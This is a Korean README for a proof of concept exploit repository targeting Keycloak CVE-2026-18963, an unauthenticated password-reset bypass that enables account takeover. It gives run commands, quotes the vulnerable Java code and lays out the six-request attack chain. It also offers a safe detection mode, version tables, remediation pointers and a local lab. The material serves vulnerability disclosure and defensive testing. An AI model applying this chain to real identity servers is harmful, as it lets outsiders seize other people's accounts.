
Keycloak CVE-2026-18963용 익스플로잇으로, reset-credentials 우회를 통해 인증되지 않은 계정 탈취를 가능하게 합니다. 안전한 탐지, 비파괴적 증명, 전체 계정 탈취, 사용자 이름 열거, 취약한 버전과 패치된 버전을 포함한 랩이 포함되어 있습니다.
오직 사용자 이름 또는 이메일 주소만 알면, 인증되지 않은 공격자는 임의의 Keycloak 계정에 임의의 비밀번호를 설정할 수 있습니다. 비밀번호 재설정 이메일은 실제 피해자에게 전달되며 절대 필요하지 않습니다 — 공격자는 사서함을 읽지도, 링크를 클릭하지도 않으며, 사전 자격 증명이나 세션을 보유하지 않습니다.
영향받는 버전: Keycloak 26.0.0 – 26.7.1. 26.7.2에서 수정됨.
명령 하나면 충분합니다. 유효한 사용자 이름이 필요 없고 부작용도 없습니다 — 이메일을 보내지 않고, 계정에 기록하지 않으며, 악용 가능한 단계 전에 중지됩니다.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, 표준 라이브러리만 사용합니다. 설치할 것이 없습니다.
| 종료 | 판정 | 의미 |
|:---:|---|---|
| `0` | 🔴 **취약** | 대기 상태의 이메일 게이트가 응답됨 — 버그 자체입니다 |
| `2` | 🟢 **패치됨** | 흐름이 로그인으로 분기되어 그대로 유지됨 (fix #51844 존재) |
| `2` | 🟡 **완화됨** | reset-credentials에 도달할 수 없음 — *비밀번호 찾기*가 꺼져 있음. **패치가 아닙니다.** |
| `3` | ⚪ **판정 불가** | 인식할 수 없는 응답 — **통과로 읽지 마세요** |
realm별로 실행하세요 — *비밀번호 찾기*는 realm별 설정이며 `master`도 포함됩니다.
세부 사항과 검사에 사용자가 필요하지 않고 아무것도 건드리지 않는 이유는
[§4a](#4a-safe-detection---safe-check--start-here)에 있습니다.
**이미 노출된 사실을 알고 있나요?** [시정 조치](#8-remediation) 및
[탐지 / 위협 헌팅](#9-detection)으로 이동하세요.
### 대상 없이 시도해 보기
이 저장소는 동일한 realm을 대상으로 취약한 **26.7.1**과 패치된 **26.7.2**를
나란히 구동하는 랩을 제공하며, 비밀번호 재설정 이메일이 도착하고 계정이 탈취되는
동안 읽히지 않은 채 남아 있는지 지켜볼 수 있는 사서함도 함께 제공합니다.```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ 승인된 테스트만 허용됩니다
이 저장소는 방어자, 사고 대응자 및 승인된 침투 테스터를 위해 존재합니다. 소유한 시스템 또는 서면 허가를 받은 시스템에서만 실행하십시오. 모든 항목에는 자체 포함된 취약 실습 환경 (
lab/)이 함께 제공되므로, 버그 작동 방식을 배우기 위해 외부를 건드릴 필요가 없습니다. 승인 없이 제3자 인프라를 대상으로 지정하는 것은 대부분의 관할권에서 불법이며, 이 프로젝트가 지원하는 행위가 아닙니다.
참고 자료: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · 수정 keycloak#51844
두 가지 결함이 연결되어 있습니다. 어느 것도 단독으로는 악용할 수 없습니다.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — tryAnotherWay라는 폼 키를 포함한 모든 POST:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
그 메모는 **어떤 실행 세트가 설정했는지 기록하지 않는 단순 불리언(boolean)**입니다. 이 플래그는 제출된 `authenticationExecution` 매개변수를 처리하는 분기에서만 해제됩니다. 해당 매개변수를 생략하면 — 이 PoC가 전체적으로 그렇게 하듯이 — 인증 세션 수명 동안 플래그는 계속 설정된 상태로 유지됩니다.
`processFlow()` — 플래그가 truthy인 동안에는 정상적인 흐름 평가가 건너뛰어집니다:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
현재 대기 중인 실행을 대상으로 하는 제출 가능한 양식을 렌더링하며, 세션을 *"이메일을 기다리는 중"*에 고정하는 대신입니다.
핵심은 processResult() case FORK:입니다 — 재설정 이메일 보내기가 실행되면 CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id>를 기록하고 브라우저를 로그인 페이지로 포크(fork)합니다. 대기 중인 실행이 바로 이메일 게이트입니다.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
무조건적이다. 흐름이 유효한 액션 토큰에 의해 재개되었는지 검증하는 것이 없으므로,
`action()`에 *도달하는 것*은 사서함 제어를 증명하는 것과 동등하게 취급된다.
### 체인```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
HTTP 요청 6개, 인증 없음, authenticationExecution 매개변수는 어느
시점에도 없습니다.
model.getId()를 저장하며, processFlow()는 오직 그 값이
CURRENT_AUTHENTICATION_EXECUTION과 같을 때만 이를 인정하고, 그렇지 않으면 제거합니다. 공격에서는 두 값이
서로 다릅니다 (choose-user id vs. e-mail-gate id) — 패치가 감지하는 것이 정확히 이것이고,
--safe-check가 기준으로 삼는 신호도 정확히 이것입니다.ResetCredentialEmail.action()은 이제 다음을 요구합니다:
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
그렇지 않으면 INVALID_USER로 실패합니다.| 라인 | 취약 버전 | 커뮤니티 수정 |
|---|---|---|
| 레거시 (WildFly 기반 Keycloak, ≤ 17) | 영향 없음 | — |
| Quarkus 17 – 25.x | 영향 없음 | — |
| 26.0 | 26.0.0 – 26.0.17 | 없음 |
| 26.1 | 26.1.0 – 26.1.5 | 없음 |
| 26.2 | 26.2.0 – 26.2.16 | 없음 |
| 26.3 | 26.3.0 – 26.3.5 | 없음 |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (벤더 백포트 태그) |
| 26.5 | 26.5.0 – 26.5.7 | 없음 |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (벤더 백포트 태그) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
6a9e60bb에 의해 26.0.0에서 도입되었으며, "다른 방법 시도" 인증자 선택 화면을
재설정 흐름에 추가했습니다. 그보다 오래된 것은 단순히 해당 코드 경로가 없습니다. 여기에는
오래된 WildFly 기반 배포판과 RH-SSO 7.x가 포함되며, 이들은 이 버그의 영향을 받지 않지만
수명 종료 상태로 남아 다른 많은 취약점에 노출되어 있습니다. 레거시 빌드에 머무르는 것은
해결책이 아닙니다.26.7.2는 유일하게 수정된 릴리스로
커뮤니티 트레인에 배포되었습니다. 배포가 26.0 – 26.6에 머물러 있다면,
해당 라인에는 패치 릴리스가 없습니다 — 수정에는 포인트 릴리스가 아닌 마이너 버전 업그레이드가
필요합니다. 26.4.15 / 26.6.6 태그는 벤더 백포트이며 커뮤니티 이미지와
서로 바꿔 쓸 수 없습니다.전제 조건: realm에서 비밀번호 찾기가 활성화되어 있어야 하며 그리고 연결된
자격 증명 재설정 흐름은 기본 제공되는 reset-credential-email 인증자를 사용해야 합니다.
이 저장소는 취약한 Keycloak과 패치된 Keycloak을 모두 포함하며, 동일한 realm을 가져오고, 재설정 메일을 캡처하기 위해 Mailpit도 포함합니다 — 계정이 탈취되는 동안 메일이 도착하고 읽히지 않은 채로 남아 있는 것을 지켜볼 수 있습니다.```bash cd lab docker compose up -d
| 서비스 | URL | 버전 |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **취약** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **패치된 대조군** |
| `kc-mailpit` | http://localhost:8025 | 피해자의 사서함 |
Realm `poc`, 퍼블릭 클라이언트 `poc-app`, 사용자 `victim` / `OriginalPassw0rd!`, Keycloak
관리자 `admin` / `admin`.